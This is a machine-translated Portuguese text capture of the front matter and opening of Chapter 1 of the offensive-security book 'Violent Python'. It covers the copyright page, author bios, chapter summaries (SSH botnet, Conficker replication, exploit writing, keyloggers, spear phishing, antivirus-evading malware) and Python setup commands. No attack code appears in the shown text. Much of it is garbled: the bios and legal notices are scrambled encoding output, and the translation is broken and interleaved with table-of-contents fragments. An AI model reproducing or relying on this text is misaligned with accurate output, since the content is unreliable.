Você está na página 1de 173

17/02/2016 C: 

\ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Python violenta
Um livro de receitas para os hackers,
Os analistas forenses,
Penetração Testers e
Engenheiros de segurança

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 1/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Python violenta
Um livro de receitas para os hackers,
Os analistas forenses,
Penetração Testers e
Engenheiros de segurança

TJ. O'Connor

! ­34% 2 $ ­ s "/34/.s (%) $%",% 2 do, / $ /..
.% 79/2 + s / 8 & / 2 $ s0! 2) 3S3!. $)% '/
3!. & 2!. #) 3 # / s3). 0/2% S39 $.% 9s4 / + 9 /

3YNGRESSISAN) MPRINTOF% LSEVIER

Adquirir editor: Chris Katsaropoulos

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 2/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Editor de Desenvolvimento:Meagan Branco
Gestor de projeto: Priya Kumaraguruparan
Designer: Russell Purdy
Syngress é um imprint de Elsevier
225 Wyman Street, Waltham, MA 02451, EUA
Direitos autorais © 2013 Elsevier, Inc. Todos os direitos reservados.
Nenhuma parte desta publicação pode ser reproduzida ou transmitida por qualquer forma ou por qualquer meio,
eletrônico ou mecânico, incluindo fotocópia, gravação ou qualquer armazenamento de informação e
sistema de recuperação, sem permissão por escrito da editora. Os detalhes sobre como procurar
permissão, mais informações sobre as políticas de permissões do editor e nossos arranjo
mentos com organizações como a Copyright Clearance Center eo Copyright Licensing
Agência, podem ser encontradas em nosso site: www.elsevier.com/permissions.
Este livro e as contribuições individuais contidos nele são protegidos por direitos autorais pela
Publisher (além dos que poderão ser aqui notado).

Avisos
Conhecimentos e melhores práticas neste! eld estão mudando constantemente. Como novas pesquisas e expe­
rência ampliar nosso entendimento, as mudanças nos métodos de pesquisa ou práticas profissionais, pode
tornam­se necessárias. Profissionais e pesquisadores devem sempre confiar em sua própria experiência e
conhecimentos na avaliação e na utilização de qualquer informação ou métodos aqui descritos. Na utilização de tais
informações ou métodos que eles devem estar atentos a sua própria segurança e a segurança dos outros,
incluindo os partidos para os quais eles têm a responsabilidade profissional.
Em toda a extensão da lei, nem o Publisher nem os autores, contribuidores, ou editores,
assume qualquer responsabilidade por qualquer dano e / ou danos a pessoas ou bens, por uma questão de produtos
responsabilidade civil, negligência ou de outra forma, ou de qualquer uso ou exploração de quaisquer métodos, produtos,
instruções, ou ideias contidas no aqui­prima.
Biblioteca do Congresso de Dados de Catalogação na Publicação
Aplicação submetida
Biblioteca Britânica­Catalogação na Publicação de Dados
Um registro de catálogo para este livro está disponível na Biblioteca Britânica.

ISBN: 978­1­59749­957­6
Impresso nos Estados Unidos da América
13 14 15 10 9 8 7 6 5 4 3 2 1

Para obter informações sobre todas as publicações Syngress visite nosso website em www.syngress.com

marcas comerciais

% LSEVIER) NC? Theauthor? S ANDANYPERSONORlRMINVOLVEDINTHEWRITING​
ORPRODUCTION edição? COLLECTIVELYh­AKERSv OFTHISBOOK? HTHE7ORKv DO
NOTGUARANTEEORWARRANTTHERESULTSTOBEOBTAINEDFROMTHE7ORK?

4HEREISNOGUARANTEEOFANYKIND EXPRESSEDORIMPLIED REGARDINGTHE7ORKOR
ITSCONTENTS? 4HE7ORKISSOLD! 3) 3AND7) 4 (/547!22!.49?9OUMAYHAVE
OTHERLEGALRIGHTS WHICHVARYFROMSTATETOSTATE?

) NNOEVENTWILL­AKERSBELIABLETOYOUFORDAMAGES INCLUDINGANYLOSSOF
PROlTS LOSTSAVINGS OROTHERINCIDENTALORCONSEQUENTIALDAMAGESARISINGOUT
FROMTHE7ORKORITSCONTENTS? "ECAUSESOMESTATESDONOTALLOWTHEEXCLUSION
ORLIMITATIONOFLIABILITYFORCONSEQUENTIALORINCIDENTALDAMAGES THEABOVE
LIMITATIONMAYNOTAPPLYTOYOU?

9OUSHOULDALWAYSUSEREASONABLECARE INCLUDINGBACKUPANDOTHERAPPROPRI ­
ATEPRECAUTIONS WHENWORKINGWITHCOMPUTERS redes de dados ANDlLES?

3YNGRESS ­EDIAš 3YNGRESSš h # AREER DVANCEMENT 4HROUGH 3KILL% NHANCE! ­
Mentos vh! SK THE! UT OR $ 50! 4% s v e H (ACK 0ROOlNGš v são registrados
MARCAS DOS% LSEVIER) NC? H3YNGRESS? 4HE $ ElNITION DE UM 3ERIOUS 3ECURITY

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 3/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
, IBRARYv4­ H­ISSÃO # RITICAL4­ vANDh4HE / NLY7AYTO3TOPA (ACKERISTO
4HINK, IKE / NE4­vARETRADEMARKSOF% LSEVIER) NC? "RANDSANDPRODUCTNAMES
MENTIONEDINTHISBOOKARETRADEMARKSORSERVICEMARKSOFTHEIRRESPECTIVE
EMPRESAS?

Dedicação

Para o meu macaco e meu ninja princesa: qualquer coisa é
possível se você tentar o suficiente.

ix

Chumbo Autor ­ TJ O'Connor

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 4/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

4 * /? # ONNORISA $ EPARTMENTOF $ EFENSEEXPERTONINFORMATIONSECURITYAND
A53! RMYPARATROOPER? 7HILEASSIGNEDASANASSISTANTPROFESSORATTHE53
! ­ILITARY CADEMY 4 * ministrou cursos de graduação em FORENSE EXPLOITA ­
ÇÃO E fiabilidade da informação? (E DUAS VEZES CO treinou a equipe vencedora AT
THE.ATIONAL3ECURITY! GÊNCIA? SANNUAL # YBER $ EFENSE% XERCISEANDWONTHE
.ATIONAL $ EFENSE5NIVERSITY? SlRSTANNUAL # YBER # DESAFIO? (EHASSERVEDON
MULTIPLEREDTEAMS INCLUDINGTWICEONTHE.ORTHEAST2EGIONAL4EAMFORTHE
.ATIONAL # OLLEGIATE # YBER $ EFENSE # ONCORRÊNCIA?

4 * HOLDSA­ASTEROF3CIENCEDEGREEIN OMPUTER3CIENCEFROM.ORTH # # AROLINA
Um 3TATE­ASTEROF3CIENCEDEGREEIN) NFORMATION3ECURITY% NGINEERINGFROM
The3! .34ECHNICAL) NSTITUTO ANDA "ACHELOROF3CIENCEDEGREEIN # omputer
3CIENCEFROMTHE53­ILITARY! CADEMY? (EHASPUBLISHEDTECHNICALRESEARCHAT
. 53%) 8WORKSHOPS # ­! CONFERÊNCIAS SECURITYCONFERENCES the3 .32EAD! ­
ING2OOM OS) NTERNET3TORM # Insira o Exército Revista ​
e O Armadas Forças
Jornal ? (EHOLDSEXPERTCYBERSECURITYCREDENTIALS INCLUDINGTHEPRESTIGIOUS
') #! 3ECURITY% XPERT? 3% e / FFENSIVE3ECURITY # ERTIlED% XPERT? / 3 #%?
4 * ISAMEMBEROFTHEELITE3! ".32EDAND LUE4EAM # YBER'UARDIANS?

xvii

Contribuindo Autor Bio ­ Rob Geada

2OBERT & ROST formou na 5NITED 3TATES ­ILITARY! CADEMY IN ????​
COMMISSIONINGINTOTHE! RMY3IGNAL # ORPS? (EHOLDSA "ACHELOROF3CIENCE
DEGREEIN # OMPUTER3CIENCEWITHHONORS WITHHISTHESISWORKFOCUSINGON
ABERTO SOURCEINFORMATION GATHERING? 2OBWASINDIVIDUALLYRECOGNIZEDASONEOF
THETOPTWOMEMBERSOFTHENATIONALCHAMPIONSHIPTEAMFORTHE ???? # YBER
$ EFENSE% XERCISEDUETOHISABILITYTOCIRCUMVENTRULES? 2OBHASPARTICIPATEDIN
ANDWONSEVERALCYBERSECURITYCOMPETITIONS?

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 5/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

xix

Editor Técnico Bio ­ Mark Baggett

­ARK "AGGETTISA # ERTIlED3! 0,3) NSTRUCTORANDTEACHESSEVERALCOURSESINTHE
CURRICULUM TESTE 3! 0,3 PENETRAÇÃO? ­ARK É o consultante PRIMÁRIA E
FUNDADOR DO) N $ EPTH $ EFENSE) NC? Que fornece e resposta a incidentes
PENETRAÇÃO TESTINGSERVICES? 4ODAY INHISROLEASTHETECHNICALADVISORTOTHE
$ EPARTMENTOF $ EFENSEFOR3! 0,3 ­ARKISFOCUSEDONTHEPRACTICALAPPLICATION
OF3! .3RESOURCESINTHEDEVELOPMENTOFMILITARYCAPABILITIES?

­ARKHASHELDAVARIETYOFPOSITIONSININFORMATIONSECURITYFORLARGEINTERNA ­
TIONALAND & ORTUNE ???? empresas (EHASBEENASOFTWAREDEVELOPER ANET? ­
WORKANDSYSTEMSENGINEER ASECURITYMANAGER ANDA #) 3 / ?! SA #) 3 / ­ARK
WASRESPONSIBLEFORPOLICY CUMPRIMENTO INCIDENTRESPONSE ANDALLOTHERASPECTS
OFINFORMATIONSECURITYOPERATIONS? ­ARKKNOWSlRSTHANDTHECHALLENGESTHAT
INFORMATIONSECURITYPROFESSIONALSFACETODAYINSELLING EXECUÇÃO E
SUPPORTINGINFORMATIONSECURITY? ­ARKISANACTIVEMEMBEROFTHEINFORMATION
SECURITYCOMMUNITYANDTHEFOUNDINGPRESIDENTOFTHE'REATER! UGUSTA) 33 !?
(EHOLDSSEVERALCERTIlCATIONS INCLUDING3 PRESTIGIOUS'3 0,3% ­!?? ARKBLOGS
ABOUTVARIOUSSECURITYTOPICSATHTTP ??? WWW? PAULDOTCOM? COM?

xxi

Introdução

? 0YTHONISAHACKER Slanguage 7ITHITSDECREASEDCOMPLEXITY INCREASEDEFl ­
Eficiência LIMITLESSTHIRD PARTYLIBRARIES ANDLOWBARTOENTRY 0YTHONPROVIDESAN
EXCELLENTDEVELOPMENTPLATFORMTOBUILDYOUROWNOFFENSIVETOOLS?) FYOUARE
FUNCIONAMENTO­AC / 38OR, inux ODDSAREITISALREADYINSTALLEDONYOURSYSTEM?

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 6/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
7HILEAWEALTHOFOFFENSIVETOOLSALREADYEXIST LEARNING0YTHONCANHELPYOU
WITHTHEDIFlCULTCASESWHERETHOSETOOLSFAIL?

PÚBLICO ALVO
% VERYONELEARNSDIFFERENTLY? (Owever WHETHERYOUAREABEGINNERWHOWANTS
TOLEARNHOWTOWRITE0YTHON ORANADVANCEDPROGRAMMERWHOWANTSTOLEARN
HOWTOAPPLYYOURSKILLSINPENETRATIONTESTING THISBOOKISFORYOU?

ORGANIZAÇÃO DO LIVRO
) NWRITINGTHISBOOK WEREALLYSETOUTTOWRITEANEVILCOOKBOOKOFEXAMPLES
PARA O lado mais escuro do 0YTHON? 4HE páginas seguintes oferecem RECEITAS 0YTHON
FORPENETRATIONTESTING WEBANALYSIS NETWORKANALYSIS FORENSICANALYSIS E
EXPLOITINGWIRELESSDEVICES? (OPEFULLY THEEXAMPLESWILLINSPIRETHEREADERTO
CREATEHISORHEROWN0YTHONSCRIPTS?

Capítulo 1 Introdução
) FYOUHAVENOTPROGRAMMEDIN0YTHONBEFORE #HAPTER? PROVIDESBACKGROUND
Informações sobre os tipos variáveis ​
d e linguagem DADOS FUNÇÕES ITERATION​

SELEÇÃO ANDWORKINGWITHMODULES ANDMETHODICALLYWALKSTHROUGHWRIT ­
INGAFEWSIMPLEPROGRAMS? & EELFREETOSKIPITIFYOUAREALREADYCOMFORTABLE
WITHTHE0YTHONPROGRAMMINGLANGUAGE?! FTERTHElRSTCHAPTER thefollowing
SIXCHAPTERSAREFAIRLYINDEPENDENTFROMONEANOTHER? FEELFREETOREADTHEMIN
WHICHEVERORDERYOUPLEASE ACCORDINGTOWHATSTRIKESYOURCURIOSITY?
xxiii

xxiv Introdução

Capítulo 2: Teste de Penetração com Python
#HAPTER? Introduz a idéia de UTILIZAÇÃO DO 0YTHON Linguagem de Programação
TOSCRIPTATTACKSFORPENETRATIONTESTING? 4HEEXAMPLESINTHECHAPTERINCLUDE
BUILDINGAPORTSCANNER CONSTRUCTINGAN33 (BOTNET MASS COMPROMISINGVIA
& 40 replicando # ONlCKER ANDWRITINGANEXPLOIT?

Capítulo 3: investigações forenses com Python
#HAPTER UTILIZES0YTHONFORDIGITALFORENSICINVESTIGATIONS 4HISCHAPTERPRO? ­
VIDESEXAMPLESFORGEO LOCATINGINDIVIDUALS RECOVERINGDELETEDITEMS EXTRATO ­
INGARTIFACTSFROMTHE7INDOWSREGISTRY EXAMININGMETADATAINDOCUMENTSAND
IMAGENS ANDINVESTIGATINGAPPLICATIONANDMOBILEDEVICEARTIFACTS?

Capítulo 4: Rede Traf fi c Análise com Python
#HAPTER? USES0YTHONTOANALYZENETWORKTRAFlC? 4HESCRIPTSINTHISCHAPTER
GEO LOCALIZAR) 0ADDRESSESFROMPACKETCAPTURES INVESTIGATEPOPULAR $$ O3TOOL ­
KITS DISCOVERDECOYSCANS ANALYZEBOTNETTRAFlC ANDFOILINTRUSIONDETECTION
Sistemas?

Capítulo 5: Mayhem sem fio com Python
#HAPTER? CREATESMAYHEMFORWIRELESSAND "LUETOOTHDEVICES? 4HEEXAMPLESIN
THISCHAPTERSHOWHOWTOSNIFFANDPARSEWIRELESSTRAFlC BUILDAWIRELESSKEY ­
LOGGER IDENTIFYHIDDENWIRELESSNETWORKS REMOTELYCOMMAND5! 6S IDENTIFICAR
Toolkits WIRELESS maliciosos em USE perseguir "RÁDIOS LUETOOTH e explorar" LUE ­
TOOTHVULNERABILITIES?

Capítulo 6: Recon Web Com Python
#HAPTER? EXAMINA USANDO 0YTHON para raspar a web para obter informações? 4HE
EXAMPLESINTHISCHAPTERINCLUDEANONYMOUSLYBROWSINGTHEWEBVIA0YTHON​
WORKINGWITHDEVELOPER 0) S SCRAPINGPOPULARSOCIALMEDIASITES ANDCREATING
Aspear PHISHINGEMAIL?

Capítulo 7: Evasão Antivirus com Python
) NNão & INALCHAPTER #HAPTER? WEBUILDAPIECEOFMALWARETHATEVADESANTIVI ­
RUSSYSTEMS?! DDITIONALLY WEBUILDASCRIPTFORUPLOADINGOURMALWAREAGAINST
ANONLINEANTIVIRUSSCANNER?

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 7/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Introdução xxv

COMPANHEIRO SITE WEB

4HE companheiro site contém todo o código incluídos neste livro? 6ISIT
? HTTP ??? WWW ELSEVIERDIRECT COM COMPANHEIRO JSP) 3 "?????????????? todown??. ­
ARTIFACTS LOADTHEEXAMPLES ANDNETWORKCAPTURESTODOWNLOADTHEMASYOU
WORKTHROUGHTHEBOOK?

CAPÍTULO 1

Introdução

Informações neste capítulo: CONTEÚDO

■  Definindo ­se uma Development Environment para Python Introdução:
■  Introdução para o Python Programação Idioma Um teste de penetração
com Python ................. 1
■  Uma explicação de variáveis, dados tipos, Cordas, Listas, dicionários,
Funções Como configurar o seu
■  Trabalho com Networking, iteração, Seleção, Exception Handling e Desenvolvimento
Ambiente ................ 2
módulos
Instalar Terceiros
■  Faça seu primeiro Python Programa, um dicionário Senha Cracker Bibliotecas ............................. 3
■  Faça sua Segunda Python Programa, a fi Zip le Brute­Force Cracker interpretados Python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 8/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Versus interativo
Python ................................. 5

o Python
Idioma ..................... 6
Para mim, o aspecto extraordinário de artes marciais reside na sua simplicidade.
Variáveis ​ ............................. 7

A maneira mais fácil é também o caminho certo, e artes marciais é nadaCordas ................................. 7
especial; quanto mais próximo do verdadeiro caminho das artes marciais, menos desperdício de
Listas .................................... 8
expressão existe. Dicionários ........................ 9
­ Mestre Bruce Lee, fundador, Jeet Kune Do
Networking ........................ 9
Seleção ........................... 10
Manipulação de exceção ......... 10
INTRODUÇÃO: um teste de penetração COM Funções .......................... 12
Iteração ............................ 14
PYTHON Arquivo I / O .............................. 16
Módulo Sys ....................... 17
Recentemente, um amigo da penetração mina testado computador de um 500 da empresa Fortune
Módulo OS ........................ 18
sistema de segurança. Enquanto a empresa havia estabelecido e mantido um Seu primeiro Python
excelente sistema de segurança, ele finalmente encontrou uma vulnerabilidade em um sem correção
Programas ................... 20
servidor. Dentro de alguns minutos, ele usou ferramentas de código aberto para comprometer a
Preparando o palco para
sistema e ganhou acesso administrativo a ele. Ele então examinou o restante
Seu primeiro Python
Programa:
servidores, bem como os clientes e não descobrir quaisquer vulnerabilidades adicionais.
Do cuco Egg ............ 20
Neste ponto a sua avaliação terminou e o verdadeiro teste de penetração começou.
1
Python violento. Http://dx.doi.org/10.1016/B978­1­59­749957­6.00001­6
Copyright © 2013 Elsevier Inc. Todos os direitos reservados.

2 CAPÍTULO 1: Introdução

Seu primeiro programa, um
Abrindo o editor de texto de sua escolha, meu amigo escreveu um script Python para testar
UNIX senha
Cracker ............................. 21
as credenciais encontrado no servidor vulneráveis ​
contra o resto do

Preparando o palco para máquinas na rede. Literalmente, minutos depois, ele ganhou administrativa
Seu Segundo Programa: acesso a mais de mil máquinas na rede. No entanto, ao fazê­lo,
Usando o mal pelo bem .......... 24 Ele foi posteriormente apresentado com um problema incontrolável. Ele sabia
Seu Segundo Programa, os administradores de sistema notaria seu ataque e negar­lhe o acesso para que ele
uma senha Zip­File
Cracker ............................. 24
rapidamente usado algum triagem com as máquinas exploradas, a fim de achar fora
onde instalar um backdoor persistente.
Capítulo Encerramento ...... 29
Depois de examinar o seu documento de engajamento pentest, meu amigo percebeu
Referências ................. 29
que o seu cliente colocado um elevado nível de importância de assegurar o domínio
controlador. Sabendo o administrador conectado ao controlador de domínio
com uma conta de administrador completamente separado, meu amigo escreveu um pequeno
script para verificar mil máquinas de usuários conectados. Um pouco depois,
meu amigo foi notificada quando o administrador de domínio registrado em um dos
as máquinas. Sua triagem essencialmente completa, meu amigo agora sabia onde
continuar seu ataque.
a capacidade do meu amigo para reagir rapidamente e pensar criativamente sob pressão feita
­lhe um testador de penetração. Ele forjou suas próprias ferramentas de roteiros curtos em
pedir para comprometer com sucesso a empresa da Fortune 500. Uma pequena Python
roteiro concedeu­lhe acesso a mais de mil estações de trabalho. outro pequeno
roteiro lhe permitiu triagem dos mil estações de trabalho antes de um adepto
administrador desconectado seu acesso. Forjar suas próprias armas para resolver
seus próprios problemas faz­lhe uma verdadeira penetração tester.
Vamos iniciar nossa jornada de aprender a construir as nossas próprias ferramentas, instalando
nosso ambiente de desenvolvimento.

CONFIGURAÇÃO seu ambiente de desenvolvimento
O site de download Python (http://www.python.org/download/) fornece uma
repositório de instaladores Python para Windows, Mac OS X e Linux Operating
Sistemas. Se você estiver rodando Mac OS X ou Linux, as probabilidades são o Python
intérprete já está instalado no seu sistema. Download de um instalador
fornece um programador com o interpretador Python, a biblioteca padrão, e
vários built­in módulos. A biblioteca padrão do Python e módulos embutidos
fornecer uma ampla gama de capacidades, incluindo built­in tipos de dados,
manipulação de exceção, numéricos e módulos de matemática, capacidade de fi le­assistência,
serviços criptográficos, a interoperabilidade com o sistema operacional, Internet
manipulação de dados e interação com protocolos IP, entre muitos outros útil
módulos. No entanto, um programador pode facilmente instalar quaisquer pacotes de terceiros.
Uma lista completa de pacotes de terceiros está disponível em http: // pypi.
python.org/pypi/.

3
Configurando o ambiente de desenvolvimento

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20An… 9/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Instalação de bibliotecas de terceiros
No capítulo dois, vamos utilizar o pacote python­nmap para lidar com a análise de
resultados nmap. O exemplo a seguir descreve como baixar e instalar o
pacote python­nmap (ou qualquer pacote, realmente). Uma vez que temos guardado o pacote
a um fi local, le, nós descompactar o conteúdo e mude para o descompactado
diretório. A partir desse directório de trabalho, nós emitir o comando python setup.py
instalar, que instala o python­nmap pacote. Instalar mais de terceiros
pacotes irá seguir os mesmos passos de baixar, descompactar e, em seguida
emitindo o comando python setup.py instalar.
programador: ~ # wget http://xael.org/norman/python/python­nmap/python­
nmap­0.2.4.tar.gz­On map.tar.gz
­­2012­04­24 15: 51: 51 ­ http: //xael.org/norman/python/python­nmap/
python­nmap­0.2.4.tar.gz
Resolver xael.org ... 194.36.166.10
Ligar a xael.org | 194.36.166.10 |: 80 ... conectado.
solicitação HTTP enviada, aguardando resposta ... 200 OK
Duração: 29620 (29K) [application / x­gzip]
Salvando em: 'nmap.tar.gz'
100% [=============================================== ===
================================================== =
=============>] 29.620 60.8K / s em 0.5s
2012­04­24 15:51:52 (60,8 KB / s) ­ 'nmap.tar.gz "salvo [29620/29620]
programador: ~ # tar ­xzf nmap.tar.gz
programador: ~ # cd python­nmap­0.2.4 /
programador: ~ /python­nmap­0.2.4# python setup.py instalação
correndo instalar
construção running
correndo build_py
construção criação
criação de build / lib.linux­x86_64­2.6
criação de build / lib.linux­x86_64­2.6 / nmap
cópia nmap / __ init__.py ­> build / lib.linux­x86_64­2.6 / nmap
cópia nmap / example.py ­> build / lib.linux­x86_64­2.6 / nmap
cópia nmap / nmap.py ­> build / lib.linux­x86_64­2.6 / nmap
correndo install_lib
criando /usr/local/lib/python2.6/dist­packages/nmap
cópia build / lib.linux­x86_64­2.6 / nmap / __ init__.py ­> / usr / local / lib /
python2.6 / dist­packages / nmap
cópia build / lib.linux­x86_64­2.6 / nmap / example.py ­> / usr / local / lib /
python2.6 / dist­packages / nmap

4 CAPÍTULO 1: Introdução

cópia build / lib.linux­x86_64­2.6 / nmap / nmap.py ­> / usr / local / lib /
python2.6 / dist­packages / nmap
byte­compilação /usr/local/lib/python2.6/dist­packages/nmap/__init__.py
para __init __ pyc.
byte­compilação /usr/local/lib/python2.6/dist­packages/nmap/example.py
para example.pyc
byte­compilação /usr/local/lib/python2.6/dist­packages/nmap/nmap.py para
nmap.pyc
correndo install_egg_info
escrevendo /usr/local/lib/python2.6/dist­packages/python_nmap­0.2.4.egg­
Informação

Para tornar a instalar pacotes Python ainda mais fácil, setuptools do Python fornece
um módulo Python chamado easy_install. Executando o módulo de fácil instalação se­
lowed pelo nome do pacote para instalar irá procurar através de Python reposicionamento
tories para achar o pacote, baixá­lo, se for encontrado, e instalá­lo automaticamente.

programador: ~ # easy_install python­nmap
Procura python­nmap
Readinghttp: //pypi.python.org/simple/python­nmap/
Readinghttp: //xael.org/norman/python/python­nmap/
Melhor jogo: 0.2.4 python­nmap
Downloadinghttp: //xael.org/norman/python/python­nmap/python­nmap­
0.2.4.tar.gz
Processamento de python­nmap­0.2.4.tar.gz
Correndo python­nmap­0.2.4 / setup.py q bdist_egg ­­dist­dir / tmp / easy_
instalar­rtyUSS / python­nmap­0.2.4 / egg­dist­TMP­EOPENs
bandeira zip_safe não definida; conteúdos análise de arquivo ...
Adicionando python­nmap 0.2.4 para arquivo fácil install.pth

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 10/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
instalado /usr/local/lib/python2.6/dist­packages/python_nmap­0.2.4­
py2.6.egg
dependências de processamento para python­nmap
dependências de processamento acabados para python­nmap

Para estabelecer rapidamente um ambiente de desenvolvimento, sugerimos que você baixar
uma cópia da última distribuição BackTrack Linux Teste de Invasão de
http://www.backtrack­linux.org/downloads/.A distribuição fornece um
riqueza de ferramentas para testes de penetração, juntamente com forense, web, rede
análise, e ataques sem fios. Vários dos exemplos que se seguem dependem
ferramentas ou bibliotecas que já fazem parte da distribuição BackTrack. Quando
um exemplo no livro exige um pacote de terceiros fora da norma
biblioteca e módulos embutidos, o texto irá fornecer um site de download.

5
Configurando o ambiente de desenvolvimento

Quando da criação de um ambiente de desenvolvimento, pode revelar­se útil para baixar
Todos estes módulos de terceiros antes de começar. Em Backtrack, você pode instalar
as bibliotecas necessárias adicionais com easy_install emitindo os seguintes com­
mand. Isto irá instalar a maioria das bibliotecas necessárias para os exemplos no Linux.
: programador ~ # easy_install pyPdf python­nmap pygeoip mecanizar
BeautifulSoup4

Capítulo cinco requer algumas bibliotecas Bluetooth específicos que não estão disponíveis
de easy_install. Você pode usar o gerenciador de pacotes aptitude para baixar e
instalar esses librariers.

atacante # apt­get instalar o python­bluez Bluetooth python­obexftp
Lendo listas de pacotes ... Feito
árvore de dependência edifício
Lendo informação de estado ... Feito
<.. Cortou ..>
Desembalar Bluetooth (a partir de ... / bluetooth_4.60­0ubuntu8_all.deb)
A seleção anteriormente desmarcadas pacote python­bluez.
Desembalar python­bluez (a partir de ... / python­bluez_0.18­1_amd64.deb)
Configurando Bluetooth (4.60­0ubuntu8) ...
Configurando python­bluez (0,18­1) ...
Processamento de gatilhos para python­central.
Além disso, alguns exemplos no capítulo cinco e sete exigem um Windows
instalação de Python. Para as últimas Python Windows Installer, visite http: //
www.python.org/getit/.
Nos últimos anos, o código­fonte Python tem bifurcada em dois estável
ramos­2.x, 3.x. O autor original do Python, Guido van Rossum,
procurado para limpar o código para tornar a linguagem mais consistente. Esta acção
intencionalmente quebrou a compatibilidade com a série 2.x do Python. Para
exemplo, o autor substituiu a declaração de impressão em Python 2.x com um print ()
função que exigia argumentos como parâmetros. Os exemplos contidos na
capítulo seguinte são voltados para o ramo 2.x. No momento da publi­ deste livro
cação, BackTrack 5 R2 oferecido Python 2.6.5 como a versão estável do Python.

programador ­V # python
Python 2.6.5

Interpretados Python Versus interativo Python
Semelhante a outras linguagens de script, Python é uma linguagem interpretada. em
tempo de execução de um intérprete processa o código e executa­lo. Para demonstrar a
o uso do interpretador Python, escrevemos print "Olá mundo" a um fi le com um .py

6 CAPÍTULO 1: Introdução

extensão. A intérprete este novo roteiro, nós invocamos o interpretador Python
seguido pelo nome do script recém criado.

programador # echo de impressão \ "Olá Mundo \"> hello.py
programador hello.py # python
Olá Mundo
Além disso, o Python fornece capacidade interativa. Um programador pode invocar
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 11/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
o interpretador Python e interagir com o interpretador diretamente. Para iniciar o
intérprete, o programador executa python sem argumentos. Em seguida, o inter
Preter apresenta o programador com um >>> alerta, indicando que ele pode aceitar uma
comando. Aqui, o programador novamente tipos imprimir "Olá mundo". Ao bater
retornar, o interpretador Python interativo imediatamente executa a instrução.

programador # python
Python 2.6.5 (R265: 79.063, 16 de abril de 2010, 13:57:41)
[GCC 4.4.3] no linux2
>>>

>>> Print "Olá Mundo"
Olá Mundo

Para entender inicialmente alguns dos semântica por trás da língua, este capítulo
ocasionalmente, utiliza a capacidade interativa do interpretador Python. Vocês
pode manchar o interpretador interativo no uso de olhar para o >>> pronto em
os exemplos.
Como explicamos os exemplos de Python nos capítulos seguintes, vamos construir o nosso
scripts de fora de vários blocos funcionais de código conhecidos como métodos ou funções.
À medida que fi nalize cada script, vamos mostrar como para remontar esses métodos e
invocá­los a partir do método main (). Tentando executar um script que apenas contém o
isoladas função As definições sem uma chamada para invocá­los irá revelar inútil.
Para a maior parte, você pode manchar os roteiros completos, uma vez que eles terão uma
main () função de fi nida. Antes de começar a escrever o nosso programa de primeira, porém, temos
irá ilustrar vários dos principais componentes da biblioteca padrão do Python.

A linguagem Python
Nas páginas seguintes, vamos abordar a ideia de variáveis, tipos de dados, cordas,
complexas estruturas de dados, redes, selecção, iteração, fi le manuseio,
manipulação de exceção, e interoperabilidade com o sistema operacional. Ilustrar
isso, vamos construir um scanner de vulnerabilidade simples que se conecta a um soquete TCP,
lê a bandeira de um serviço, e compara essa bandeira contra vul­ conhecidos
versões de serviços vul­. Como um programador experiente, você pode achar algum

O Python Idioma 7

dos exemplos de código iniciais muito feias no design. Na verdade, espero que você faz.
À medida que continuamos a desenvolver o nosso script nesta seção, o script que esperamos
crescer em um design elegante que você pode apreciar. Vamos começar por começando com o
